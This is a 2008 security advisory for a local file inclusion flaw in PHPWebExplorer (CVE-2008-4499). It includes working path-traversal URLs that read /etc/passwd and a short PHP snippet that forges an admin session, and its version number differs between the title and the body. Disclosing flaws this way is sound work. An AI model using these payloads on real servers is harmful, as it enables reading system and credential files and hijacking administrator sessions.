PHPWebExplorer <= 0.09b: Local File Inclusion Vulnerability

2008-10-09 / 2008-10-10

Credit: Pepelux

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-4499

CWE: CWE-22

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

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PHPWebExplorer <= 0.09b: Local File Inclusion Vulnerability
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$ Program: PHPWebExplorer
$ File(s) affected: main.php / edit.php
$ Version: 0.99b
$ Download: http://sourceforge.net/projects/phpwebexplorer/
Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org
-- Exploit --
If you have access to the control panel:
http://localhost/main.php?refer=d&d=../../../etc
http://localhost/edit.php?file=../../../etc/passwd
If you are not a register user but you have access to write any file to the
server (ex: a shared server where you can create an account) you can win
admin privileges creating and executing a simple PHP:
<?
session_start();
$_SESSION['logged_in']='user1';
?>

References:

http://xforce.iss.net/xforce/xfdb/45691

http://www.securityfocus.com/bid/31595

http://marc.info/?l=bugtraq&m=122332154511973&w=2

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